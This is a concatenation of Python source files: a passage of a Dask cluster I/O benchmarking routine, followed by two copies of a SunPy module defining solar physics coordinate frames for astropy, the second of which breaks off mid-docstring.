logger.warning(f'Number of cores for each node: {maxcore}') logger.warning(f'Number of workers for each node: {wpn}') from dask_jobqueue import PBSCluster, SLURMCluster job_schedulers = {'pbs': PBSCluster, 'slurm': SLURMCluster} # Note about OMP_NUM_THREADS=1, --threads 1: # These two lines are to ensure that each benchmark workers # only use one threads for benchmark. # in the job script one sees twice --nthreads, # but it get overwritten by --nthreads 1 cluster = job_schedulers[job_scheduler]( cores=maxcore, memory=memory, processes=wpn, local_directory='$TMPDIR', interface='ib0', queue=queue, walltime=walltime, env_extra=['OMP_NUM_THREADS=1'], extra=['--nthreads 1'], ) self.client = Client(cluster) logger.warning( '************************************\n' 'Job script created by dask_jobqueue:\n' f'{cluster.job_script()}\n' '***************************************' ) logger.warning(f'Dask cluster dashboard_link: {self.client.cluster.dashboard_link}') def run(self): logger.warning('Reading configuration YAML config file') operation_choice = self.params['operation_choice'] machine = self.params['machine'] job_scheduler = self.params['job_scheduler'] queue = self.params['queue'] walltime = self.params['walltime'] maxmemory_per_node = self.params['maxmemory_per_node'] maxcore_per_node = self.params['maxcore_per_node'] chunk_per_worker = self.params['chunk_per_worker'] freq = self.params['freq'] spil = self.params['spil'] output_dir = self.params.get('output_dir', results_dir) now = datetime.datetime.now() output_dir = os.path.join(output_dir, f'{machine}/{str(now.date())}') os.makedirs(output_dir, exist_ok=True) parameters = self.params['parameters'] num_workers = parameters['number_of_workers_per_nodes'] num_threads = parameters.get('number_of_threads_per_workers', 1) num_nodes = parameters['number_of_nodes'] chunking_schemes = parameters['chunking_scheme'] io_formats = parameters['io_format'] filesystems = parameters['filesystem'] fixed_totalsize = parameters['fixed_totalsize'] chsz = parameters['chunk_size'] local_dir = self.params['local_dir'] for wpn in num_workers: self.create_cluster( job_scheduler=job_scheduler, maxcore=maxcore_per_node, walltime=walltime, memory=maxmemory_per_node, queue=queue, wpn=wpn, ) for num in num_nodes: self.client.cluster.scale(num * wpn) cluster_wait(self.client, num * wpn) timer = DiagnosticTimer() logger.warning( '#####################################################################\n' f'Dask cluster:\n' f'\t{self.client.cluster}\n' ) now = datetime.datetime.now() csv_filename = f"{output_dir}/compute_study_{now.strftime('%Y-%m-%d_%H-%M-%S')}.csv" for chunk_size in chsz: for io_format in io_formats: for filesystem in filesystems: if filesystem == 's3': if (io_format == 'netcdf') & ( operation_choice == 'readwrite' or operation_choice == 'write' ): logger.warning( f'### Skipping NetCDF S3 {operation_choice} benchmarking ###\n' ) continue profile = self.params['profile'] bucket = self.params['bucket'] endpoint_url = self.params['endpoint_url'] fs = fsspec.filesystem( 's3', profile=profile, anon=False, client_kwargs={'endpoint_url': endpoint_url}, skip_instance_cache=True, use_listings_cache=True, ) root = f'{bucket}' elif filesystem == 'posix': fs = LocalFileSystem() root = local_dir if not os.path.isdir(f'{root}'): os.makedirs(f'{root}') for chunking_scheme in chunking_schemes: logger.warning( f'Benchmark starting with: \n\tworker_per_node = {wpn},' f'\n\tnum_nodes = {num}, \n\tchunk_size = {chunk_size},' f'\n\tchunking_scheme = {chunking_scheme},' f'\n\tchunk per worker = {chunk_per_worker}' f'\n\tio_format = {io_format}' f'\n\tfilesystem = {filesystem}' ) ds, chunks = timeseries( fixed_totalsize=fixed_totalsize, chunk_per_worker=chunk_per_worker, chunk_size=chunk_size, chunking_scheme=chunking_scheme, io_format=io_format, num_nodes=num, freq=freq, worker_per_node=wpn, ) if (chunking_scheme == 'auto') & (io_format == 'netcdf'): logger.warning( '### NetCDF benchmarking cannot use auto chunking_scheme ###' ) continue dataset_size = format_bytes(ds.nbytes) logger.warning(ds) logger.warning(f'Dataset total size: {dataset_size}') for op in self.operations[operation_choice]: with timer.time( 'runtime', operation=op.__name__, fixed_totalsize=fixed_totalsize, chunk_size=chunk_size, chunk_per_worker=chunk_per_worker, dataset_size=dataset_size, worker_per_node=wpn, threads_per_worker=num_threads, num_nodes=num, chunking_scheme=chunking_scheme, io_format=io_format, filesystem=filesystem, root=root, machine=machine, maxmemory_per_node=maxmemory_per_node, maxcore_per_node=maxcore_per_node, spil=spil, version=__version__, ): fname = f'{chunk_size}{chunking_scheme}{filesystem}{num}' if op.__name__ == 'writefile': filename = op(ds, fs, io_format, root, fname) elif op.__name__ == 'openfile': ds = op(fs, io_format, root, chunks, chunk_size) elif op.__name__ == 'deletefile': ds = op(fs, io_format, root, filename) else: op(ds).persist() # kills ds, and every other dependent computation logger.warning('Computation done') self.client.cancel(ds) temp_df = timer.dataframe() deps_blob, deps_ver = get_version() temp_df[deps_blob] = pd.DataFrame([deps_ver], index=temp_df.index) temp_df.to_csv(csv_filename, index=False) logger.warning(f'Persisted benchmark result file: {csv_filename}') logger.warning( 'Shutting down the client and cluster before changing number of workers per nodes' ) self.client.cluster.close() logger.warning('Cluster shutdown finished') self.client.close() logger.warning('Client shutdown finished') logger.warning('=====> The End <=========')
""" Common solar physics coordinate systems. This submodule implements various solar physics coordinate frames for use with the `astropy.coordinates` module. """ import numpy as np import astropy.units as u from astropy.coordinates import Attribute, ConvertError from astropy.coordinates.baseframe import BaseCoordinateFrame, RepresentationMapping from astropy.coordinates.representation import (CartesianRepresentation, SphericalRepresentation, CylindricalRepresentation, UnitSphericalRepresentation) from astropy.time import Time from sunpy.sun.constants import radius as _RSUN from sunpy.util.decorators import add_common_docstring from sunpy.time.time import _variables_for_parse_time_docstring from .frameattributes import TimeFrameAttributeSunPy, ObserverCoordinateAttribute from sunpy.util.decorators import add_common_docstring, deprecated from sunpy.time.time import _variables_for_parse_time_docstring _J2000 = Time('J2000.0', scale='tt') __all__ = ['HeliographicStonyhurst', 'HeliographicCarrington', 'Heliocentric', 'Helioprojective', 'HeliocentricEarthEcliptic', 'GeocentricSolarEcliptic', 'HeliocentricInertial', 'GeocentricEarthEquatorial'] def _frame_parameters(): """ Returns formatting dictionary to use with add_common_docstring to populate frame docstrings """ ret = {} # Each text block is missing the first indent because it already exists in the frame docstring ret['data'] = ("data : `~astropy.coordinates.BaseRepresentation` or ``None``\n" " A representation object or ``None`` to have no data\n" " (or use the coordinate component arguments, see below).") ret['common'] = (f"obstime : {_variables_for_parse_time_docstring()["parse_time_types"]}\n" " The time of the observation. This is used to determine the\n" " position of solar-system bodies (e.g., the Sun and the Earth) as\n" " needed to define the origin and orientation of the frame.\n" " representation_type : `~astropy.coordinates.BaseRepresentation`, str, optional\n" " A representation class or string name of a representation class.\n" " This may change the valid coordinate component arguments from the\n" " defaults (see above). For example, passing\n" " ``representation_type='cartesian'`` will make the frame expect\n" " Cartesian coordinate component arguments (typically, ``x``, ``y``,\n" " and ``z``).\n" " copy : bool, optional\n" " If `True` (default), make copies of the input coordinate arrays.") ret['lonlat'] = ("lon : `~astropy.coordinates.Angle` or `~astropy.units.Quantity`, optional\n" " The longitude coordinate for this object (``lat`` must also be\n" " given and ``data`` must be ``None``).\n" " Not needed if ``data`` is given.\n" " lat : `~astropy.coordinates.Angle` or `~astropy.units.Quantity`, optional\n" " The latitude coordinate for this object (``lon`` must also be\n" " given and ``data`` must be ``None``).\n" " Not needed if ``data`` is given.") ret['radius'] = ("radius : `~astropy.units.Quantity`, optional\n" " The radial distance coordinate from Sun center for this object.\n" " Defaults to the radius of the Sun. Not needed if ``data`` is given.") ret['distance_sun'] = ("distance : `~astropy.units.Quantity`, optional\n" " The distance coordinate from Sun center for this object.\n" " Not needed if ``data`` is given.") ret['distance_earth'] = ("distance : `~astropy.units.Quantity`, optional\n" " The distance coordinate from Earth center for this object.\n" " Not needed if ``data`` is given.") ret['xyz'] = ("x : `~astropy.units.Quantity`, optional\n" " X-axis coordinate for this object. Not needed if ``data`` is given.\n" " y : `~astropy.units.Quantity`, optional\n" " Y-axis coordinate for this object. Not needed if ``data`` is given.\n" " z : `~astropy.units.Quantity`, optional\n" " Z-axis coordinate for this object. Not needed if ``data`` is given.") ret['observer'] = ("observer : `~sunpy.coordinates.frames.HeliographicStonyhurst`, str\n" " The location of the observer. If a string is provided,\n" " it must be a solar system body that can be parsed by\n" " `~sunpy.coordinates.ephemeris.get_body_heliographic_stonyhurst`\n" " at the time ``obstime``. Defaults to Earth center.") ret['equinox'] = (f"equinox : {_variables_for_parse_time_docstring()["parse_time_types"]}\n" " The date for the mean vernal equinox.\n" " Defaults to the J2000.0 equinox.") return ret class SunPyBaseCoordinateFrame(BaseCoordinateFrame): """ * Defines the frame attribute ``obstime`` for observation time. * Defines a default longitude wrap angle of 180 degrees, which can be overridden via the class variable ``_wrap_angle``. * Inject a nice way of representing the object which the coordinate represents. """ obstime = TimeFrameAttributeSunPy() _wrap_angle = 180*u.deg def __init__(self, *args, **kwargs): self.object_name = None # If wrap_longitude=False is passed in, do not impose a specific wrap angle for the frame if not kwargs.pop('wrap_longitude', True): self._wrap_angle = None super().__init__(*args, **kwargs) # If obstime is specified, treat the default observer (Earth) as explicitly set if self.obstime is not None and self.is_frame_attr_default('observer'): self._attr_names_with_defaults.remove('observer') return def represent_as(self, base, s='base', in_frame_units=False): """ If a frame wrap angle is set, use that wrap angle for any spherical representations. """ data = super().represent_as(base, s, in_frame_units=in_frame_units) if self._wrap_angle is not None and \ isinstance(data, (UnitSphericalRepresentation, SphericalRepresentation)): data.lon.wrap_angle = self._wrap_angle return data @property def size(self): """ Returns the size of the underlying data if it exists, else returns 0. This overrides the property in `~astropy.coordinates.BaseCoordinateFrame`. """ return self.data.size if self.has_data else 0 def __str__(self): """ We override this here so that when you print a SkyCoord it shows the observer as the string and not the whole massive coordinate. """ if getattr(self, "object_name", None): return f"<{self.__class__.__name__} Coordinate for '{self.object_name}'>" else: return super().__str__() class BaseHeliographic(SunPyBaseCoordinateFrame): """ Base class for HeliographicCarrington (HGC) and HeliographicStonyhurst (HGS) frames. This class is not intended to be used directly and has no transformations defined. """ default_representation = SphericalRepresentation frame_specific_representation_info = { SphericalRepresentation: [RepresentationMapping(reprname='lon', framename='lon', defaultunit=u.deg), RepresentationMapping(reprname='lat', framename='lat', defaultunit=u.deg), RepresentationMapping(reprname='distance', framename='radius', defaultunit=None)], CartesianRepresentation: [RepresentationMapping(reprname='x', framename='x'), RepresentationMapping(reprname='y', framename='y'), RepresentationMapping(reprname='z', framename='z')] } def __init__(self, *args, **kwargs): _rep_kwarg = kwargs.get('representation_type', None) super().__init__(*args, **kwargs) # Make 3D if specified as 2D if (self._data is not None and self._data.norm().unit is u.one and u.allclose(self._data.norm(), 1*u.one)): self._data *= _RSUN.to(u.km) @add_common_docstring(**_frame_parameters()) class HeliographicStonyhurst(BaseHeliographic): """ A coordinate or frame in the Stonyhurst Heliographic (HGS) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the projection of the Sun-Earth line onto the Sun's equatorial plane. This system is also know as the Heliocentric Earth Equatorial (HEEQ) system when represented using Cartesian components. A new instance can be created using the following signatures (note that if supplied, ``obstime`` and ``representation_type`` must be keyword arguments):: HeliographicStonyhurst(lon, lat, obstime=obstime) HeliographicStonyhurst(lon, lat, radius, obstime=obstime) HeliographicStonyhurst(x, y, z, representation_type='cartesian', obstime=obstime) Parameters ---------- {data} {lonlat} {radius} {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(1*u.deg, 1*u.deg, 2*u.km, ... frame="heliographic_stonyhurst", ... obstime="2010/01/01T00:00:45") >>> sc <SkyCoord (HeliographicStonyhurst: obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) (1., 1., 2.)> >>> sc.frame <HeliographicStonyhurst Coordinate (obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) (1., 1., 2.)> >>> sc = SkyCoord(HeliographicStonyhurst(-10*u.deg, 2*u.deg)) >>> sc <SkyCoord (HeliographicStonyhurst: obstime=None): (lon, lat, radius) in (deg, deg, km) (-10., 2., 695700.)> >>> sc = SkyCoord(CartesianRepresentation(0*u.km, 45*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", ... frame="heliographic_stonyhurst") >>> sc <SkyCoord (HeliographicStonyhurst: obstime=2011-01-05T00:00:50.000): (lon, lat, radius) in (deg, deg, km) (90., 2.54480438, 45.04442252)> Notes ----- This frame will always be converted a 3D frame where the radius defaults to ``rsun``. """ name = "heliographic_stonyhurst" @add_common_docstring(**_frame_parameters()) class HeliographicCarrington(BaseHeliographic): """ A coordinate or frame in the Carrington Heliographic (HGC) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis and Y-axis rotate with a period of 25.38 days. This system differs from Stonyhurst Heliographic (HGS) in its definition of longitude. A new instance can be created using the following signatures (note that if supplied, ``obstime`` must be a keyword argument):: HeliographicCarrington(lon, lat, obstime=obstime) HeliographicCarrington(lon, lat, radius, obstime=obstime) Parameters ---------- {data} {lonlat} {radius} {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(1*u.deg, 2*u.deg, 3*u.km, ... frame="heliographic_carrington", ... obstime="2010/01/01T00:00:30") >>> sc <SkyCoord (HeliographicCarrington: obstime=2010-01-01T00:00:30.000): (lon, lat, radius) in (deg, deg, km) (1., 2., 3.)> >>> sc = SkyCoord([1,2,3]*u.deg, [4,5,6]*u.deg, [5,6,7]*u.km, ... obstime="2010/01/01T00:00:45", frame="heliographic_carrington") >>> sc <SkyCoord (HeliographicCarrington: obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) [(1., 4., 5.), (2., 5., 6.), (3., 6., 7.)]> >>> sc = SkyCoord(CartesianRepresentation(0*u.km, 45*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", ... frame="heliographic_carrington") >>> sc <SkyCoord (HeliographicCarrington: obstime=2011-01-05T00:00:50.000): (lon, lat, radius) in (deg, deg, km) (90., 2.54480438, 45.04442252)> """ name = "heliographic_carrington" _wrap_angle = 360*u.deg @add_common_docstring(**_frame_parameters()) class Heliocentric(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric system, which is observer-based. - The origin is the center of the Sun. - The Z-axis is aligned with the Sun-observer line. - The Y-axis is aligned with the component of the vector to the Sun's north pole that is perpendicular to the Z-axis. This frame defaults to a Cartesian component representation, which is known as Heliocentric Cartesian (HCC). This frame can also be represented using cylindrical components, where where ``rho`` is the impact parameter and ``psi`` is the position angle. ``psi`` is measured relative to the west limb, rather than solar north, so is shifted by 90 degrees compared to the convention of the Heliocentric Radial (HCR) system. A new instance can be created using the following signatures (note that if supplied, ``obstime``, ``observer``, and ``representation_type`` must be keyword arguments):: Heliocentric(x, y, z, obstime=obstime, observer=observer) Heliocentric(rho, psi, z, representation_type='cylindrical', obstime=obstime, observer=observer) Parameters ---------- {data} {xyz} {observer} {common} Examples -------- >>> from astropy.coordinates import SkyCoord, CartesianRepresentation >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(CartesianRepresentation(10*u.km, 1*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-05T00:00:50.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in km (10., 1., 2.)> >>> sc = SkyCoord([1,2]*u.km, [3,4]*u.m, [5,6]*u.cm, ... obstime="2011/01/01T00:00:54", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-01T00:00:54.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in (km, m, cm) [(1., 3., 5.), (2., 4., 6.)]> >>> sc = SkyCoord(CylindricalRepresentation(10*u.km, 60*u.deg, 10*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-05T00:00:50.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in km (5., 8.66025404, 10.)> """ default_representation = CartesianRepresentation frame_specific_representation_info = { CylindricalRepresentation: [RepresentationMapping('phi', 'psi', u.deg)] } observer = ObserverCoordinateAttribute(HeliographicStonyhurst) @add_common_docstring(**_frame_parameters()) class Helioprojective(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Helioprojective Cartesian (HPC) system, which is observer-based. - The origin is the location of the observer. - ``theta_x`` is the angle relative to the plane containing the Sun-observer line and the Sun's rotation axis, with positive values in the direction of the Sun's west limb. - ``theta_y`` is the angle relative to the Sun's equatorial plane, with positive values in the direction of the Sun's north pole. - ``distance`` is the Sun-observer distance. This system is frequently used in a projective form without ``distance`` specified. For observations looking very close to the center of the Sun, where the small-angle approximation is appropriate, ``theta_x`` and ``theta_y`` can be approximated as Cartesian components. A new instance can be created using the following signatures (note that if supplied, ``obstime`` and ``observer`` must be keyword arguments):: Helioprojective(theta_x, theta_y, obstime=obstime, observer=observer) Helioprojective(theta_x, theta_y, distance, obstime=obstime, observer=observer) Parameters ---------- {data} Tx : `~astropy.coordinates.Angle` or `~astropy.units.Quantity` The theta_x coordinate for this object. Not needed if ``data`` is given. Ty : `~astropy.coordinates.Angle` or `~astropy.units.Quantity` The theta_y coordinate for this object. Not needed if ``data`` is given. distance : `~astropy.units.Quantity` The distance coordinate from the observer for this object. Not needed if ``data`` is given. {observer} rsun : `~astropy.units.Quantity` The physical (length) radius of the Sun. Used to calculate the position of the limb for calculating distance from the observer to the coordinate. Defaults to the solar radius. {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(0*u.deg, 0*u.deg, 5*u.km, ... obstime="2010/01/01T00:00:00", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2010-01-01T00:00:00.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty, distance) in (arcsec, arcsec, km) (0., 0., 5.)> >>> sc = SkyCoord(0*u.deg, 0*u.deg, ... obstime="2010/01/01T00:00:00", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2010-01-01T00:00:00.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty) in arcsec (0., 0.)> >>> sc = SkyCoord(CartesianRepresentation(1*u.AU, 1e5*u.km, -2e5*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2011-01-05T00:00:50.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty, distance) in (arcsec, arcsec, AU) (137.87948623, -275.75878762, 1.00000112)> """ default_representation = SphericalRepresentation frame_specific_representation_info = { SphericalRepresentation: [RepresentationMapping(reprname='lon', framename='Tx', defaultunit=u.arcsec), RepresentationMapping(reprname='lat', framename='Ty', defaultunit=u.arcsec), RepresentationMapping(reprname='distance', framename='distance', defaultunit=None)], UnitSphericalRepresentation: [RepresentationMapping(reprname='lon', framename='Tx', defaultunit=u.arcsec), RepresentationMapping(reprname='lat', framename='Ty', defaultunit=u.arcsec)], } rsun = Attribute(default=_RSUN.to(u.km)) observer = ObserverCoordinateAttribute(HeliographicStonyhurst) def make_3d(self): """ This method calculates the third coordinate of the Helioprojective frame. It assumes that the coordinate point is on the surface of the Sun. If a point in the frame is off limb then NaN will be returned. Returns ------- new_frame : `~sunpy.coordinates.frames.Helioprojective` A new frame instance with all the attributes of the original but now with a third coordinate. """ # Skip if we already are 3D distance = self.spherical.distance if not (distance.unit is u.one and u.allclose(distance, 1*u.one)): return self if not isinstance(self.observer, BaseCoordinateFrame): raise ConvertError("Cannot calculate distance to the Sun " f"for observer '{self.observer}' " "without `obstime` being specified.") rep = self.represent_as(UnitSphericalRepresentation) lat, lon = rep.lat, rep.lon alpha = np.arccos(np.cos(lat) * np.cos(lon)).to(lat.unit) c = self.observer.radius**2 - self.rsun**2 b = -2 * self.observer.radius * np.cos(alpha) # Ingore sqrt of NaNs with np.errstate(invalid='ignore'): d = ((-1*b) - np.sqrt(b**2 - 4*c)) / 2 return self.realize_frame(SphericalRepresentation(lon=lon, lat=lat, distance=d)) # Support the previous name for make_3d for now calculate_distance = deprecated('1.1', name="calculate_distance", alternative="make_3d")(make_3d) @add_common_docstring(**_frame_parameters()) class HeliocentricEarthEcliptic(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric Earth Ecliptic (HEE) system. - The origin is the center of the Sun. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the Sun-Earth line. - The Z-axis (+90 degrees latitude) is aligned with the component perpendicular to the X-axis of the mean ecliptic pole at the observation time. Parameters ---------- {data} {lonlat} {distance_sun} {common} """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class GeocentricSolarEcliptic(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Geocentric Solar Ecliptic (GSE) system. - The origin is the center of the Earth. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the Earth-Sun line. - The Z-axis (+90 degrees latitude) is aligned with the component perpendicular to the X-axis of the mean ecliptic pole at the observation time. Parameters ---------- {data} {lonlat} {distance_earth} {common} Notes ----- Aberration due to Earth motion is not included. """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class HeliocentricInertial(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric Inertial (HCI) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the solar ascending node on the ecliptic (mean J2000.0). Parameters ---------- {data} {lonlat} {distance_sun} {common} Notes ----- The solar ascending node on the ecliptic lies on the intersection of the solar equatorial plane with the ecliptic plane, not on the intersection of the celestial equatorial plane with the ecliptic plane. """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class GeocentricEarthEquatorial(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Geocentric Earth Equatorial (GEI) system. - The origin is the center of the Earth. - The Z-axis (+90 degrees latitude) is aligned with the Earth's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the mean (not true) vernal equinox. Parameters ---------- {data} {lonlat} {distance_earth} {equinox} {common} Notes ----- Aberration due to Earth motion is not included. """ default_representation = SphericalRepresentation equinox = TimeFrameAttributeSunPy(default=_J2000)
""" Common solar physics coordinate systems. This submodule implements various solar physics coordinate frames for use with the `astropy.coordinates` module. """ import numpy as np import astropy.units as u from astropy.coordinates import Attribute, ConvertError from astropy.coordinates.baseframe import BaseCoordinateFrame, RepresentationMapping from astropy.coordinates.representation import (CartesianRepresentation, SphericalRepresentation, CylindricalRepresentation, UnitSphericalRepresentation) from astropy.time import Time from sunpy.sun.constants import radius as _RSUN from sunpy.util.decorators import add_common_docstring from sunpy.time.time import _variables_for_parse_time_docstring from .frameattributes import TimeFrameAttributeSunPy, ObserverCoordinateAttribute from sunpy.util.decorators import add_common_docstring, deprecated from sunpy.time.time import _variables_for_parse_time_docstring _J2000 = Time('J2000.0', scale='tt') __all__ = ['HeliographicStonyhurst', 'HeliographicCarrington', 'Heliocentric', 'Helioprojective', 'HeliocentricEarthEcliptic', 'GeocentricSolarEcliptic', 'HeliocentricInertial', 'GeocentricEarthEquatorial'] def _frame_parameters(): """ Returns formatting dictionary to use with add_common_docstring to populate frame docstrings """ ret = {} # Each text block is missing the first indent because it already exists in the frame docstring ret['data'] = ("data : `~astropy.coordinates.BaseRepresentation` or ``None``\n" " A representation object or ``None`` to have no data\n" " (or use the coordinate component arguments, see below).") ret['common'] = (f"obstime : {_variables_for_parse_time_docstring()['parse_time_types']}\n" " The time of the observation. This is used to determine the\n" " position of solar-system bodies (e.g., the Sun and the Earth) as\n" " needed to define the origin and orientation of the frame.\n" " representation_type : `~astropy.coordinates.BaseRepresentation`, str, optional\n" " A representation class or string name of a representation class.\n" " This may change the valid coordinate component arguments from the\n" " defaults (see above). For example, passing\n" " ``representation_type='cartesian'`` will make the frame expect\n" " Cartesian coordinate component arguments (typically, ``x``, ``y``,\n" " and ``z``).\n" " copy : bool, optional\n" " If `True` (default), make copies of the input coordinate arrays.") ret['lonlat'] = ("lon : `~astropy.coordinates.Angle` or `~astropy.units.Quantity`, optional\n" " The longitude coordinate for this object (``lat`` must also be\n" " given and ``data`` must be ``None``).\n" " Not needed if ``data`` is given.\n" " lat : `~astropy.coordinates.Angle` or `~astropy.units.Quantity`, optional\n" " The latitude coordinate for this object (``lon`` must also be\n" " given and ``data`` must be ``None``).\n" " Not needed if ``data`` is given.") ret['radius'] = ("radius : `~astropy.units.Quantity`, optional\n" " The radial distance coordinate from Sun center for this object.\n" " Defaults to the radius of the Sun. Not needed if ``data`` is given.") ret['distance_sun'] = ("distance : `~astropy.units.Quantity`, optional\n" " The distance coordinate from Sun center for this object.\n" " Not needed if ``data`` is given.") ret['distance_earth'] = ("distance : `~astropy.units.Quantity`, optional\n" " The distance coordinate from Earth center for this object.\n" " Not needed if ``data`` is given.") ret['xyz'] = ("x : `~astropy.units.Quantity`, optional\n" " X-axis coordinate for this object. Not needed if ``data`` is given.\n" " y : `~astropy.units.Quantity`, optional\n" " Y-axis coordinate for this object. Not needed if ``data`` is given.\n" " z : `~astropy.units.Quantity`, optional\n" " Z-axis coordinate for this object. Not needed if ``data`` is given.") ret['observer'] = ("observer : `~sunpy.coordinates.frames.HeliographicStonyhurst`, str\n" " The location of the observer. If a string is provided,\n" " it must be a solar system body that can be parsed by\n" " `~sunpy.coordinates.ephemeris.get_body_heliographic_stonyhurst`\n" " at the time ``obstime``. Defaults to Earth center.") ret['equinox'] = (f"equinox : {_variables_for_parse_time_docstring()['parse_time_types']}\n" " The date for the mean vernal equinox.\n" " Defaults to the J2000.0 equinox.") return ret class SunPyBaseCoordinateFrame(BaseCoordinateFrame): """ * Defines the frame attribute ``obstime`` for observation time. * Defines a default longitude wrap angle of 180 degrees, which can be overridden via the class variable ``_wrap_angle``. * Inject a nice way of representing the object which the coordinate represents. """ obstime = TimeFrameAttributeSunPy() _wrap_angle = 180*u.deg def __init__(self, *args, **kwargs): self.object_name = None # If wrap_longitude=False is passed in, do not impose a specific wrap angle for the frame if not kwargs.pop('wrap_longitude', True): self._wrap_angle = None super().__init__(*args, **kwargs) # If obstime is specified, treat the default observer (Earth) as explicitly set if self.obstime is not None and self.is_frame_attr_default('observer'): self._attr_names_with_defaults.remove('observer') return def represent_as(self, base, s='base', in_frame_units=False): """ If a frame wrap angle is set, use that wrap angle for any spherical representations. """ data = super().represent_as(base, s, in_frame_units=in_frame_units) if self._wrap_angle is not None and \ isinstance(data, (UnitSphericalRepresentation, SphericalRepresentation)): data.lon.wrap_angle = self._wrap_angle return data @property def size(self): """ Returns the size of the underlying data if it exists, else returns 0. This overrides the property in `~astropy.coordinates.BaseCoordinateFrame`. """ return self.data.size if self.has_data else 0 def __str__(self): """ We override this here so that when you print a SkyCoord it shows the observer as the string and not the whole massive coordinate. """ if getattr(self, "object_name", None): return f"<{self.__class__.__name__} Coordinate for '{self.object_name}'>" else: return super().__str__() class BaseHeliographic(SunPyBaseCoordinateFrame): """ Base class for HeliographicCarrington (HGC) and HeliographicStonyhurst (HGS) frames. This class is not intended to be used directly and has no transformations defined. """ default_representation = SphericalRepresentation frame_specific_representation_info = { SphericalRepresentation: [RepresentationMapping(reprname='lon', framename='lon', defaultunit=u.deg), RepresentationMapping(reprname='lat', framename='lat', defaultunit=u.deg), RepresentationMapping(reprname='distance', framename='radius', defaultunit=None)], CartesianRepresentation: [RepresentationMapping(reprname='x', framename='x'), RepresentationMapping(reprname='y', framename='y'), RepresentationMapping(reprname='z', framename='z')] } def __init__(self, *args, **kwargs): _rep_kwarg = kwargs.get('representation_type', None) super().__init__(*args, **kwargs) # Make 3D if specified as 2D if (self._data is not None and self._data.norm().unit is u.one and u.allclose(self._data.norm(), 1*u.one)): self._data *= _RSUN.to(u.km) @add_common_docstring(**_frame_parameters()) class HeliographicStonyhurst(BaseHeliographic): """ A coordinate or frame in the Stonyhurst Heliographic (HGS) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the projection of the Sun-Earth line onto the Sun's equatorial plane. This system is also know as the Heliocentric Earth Equatorial (HEEQ) system when represented using Cartesian components. A new instance can be created using the following signatures (note that if supplied, ``obstime`` and ``representation_type`` must be keyword arguments):: HeliographicStonyhurst(lon, lat, obstime=obstime) HeliographicStonyhurst(lon, lat, radius, obstime=obstime) HeliographicStonyhurst(x, y, z, representation_type='cartesian', obstime=obstime) Parameters ---------- {data} {lonlat} {radius} {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(1*u.deg, 1*u.deg, 2*u.km, ... frame="heliographic_stonyhurst", ... obstime="2010/01/01T00:00:45") >>> sc <SkyCoord (HeliographicStonyhurst: obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) (1., 1., 2.)> >>> sc.frame <HeliographicStonyhurst Coordinate (obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) (1., 1., 2.)> >>> sc = SkyCoord(HeliographicStonyhurst(-10*u.deg, 2*u.deg)) >>> sc <SkyCoord (HeliographicStonyhurst: obstime=None): (lon, lat, radius) in (deg, deg, km) (-10., 2., 695700.)> >>> sc = SkyCoord(CartesianRepresentation(0*u.km, 45*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", ... frame="heliographic_stonyhurst") >>> sc <SkyCoord (HeliographicStonyhurst: obstime=2011-01-05T00:00:50.000): (lon, lat, radius) in (deg, deg, km) (90., 2.54480438, 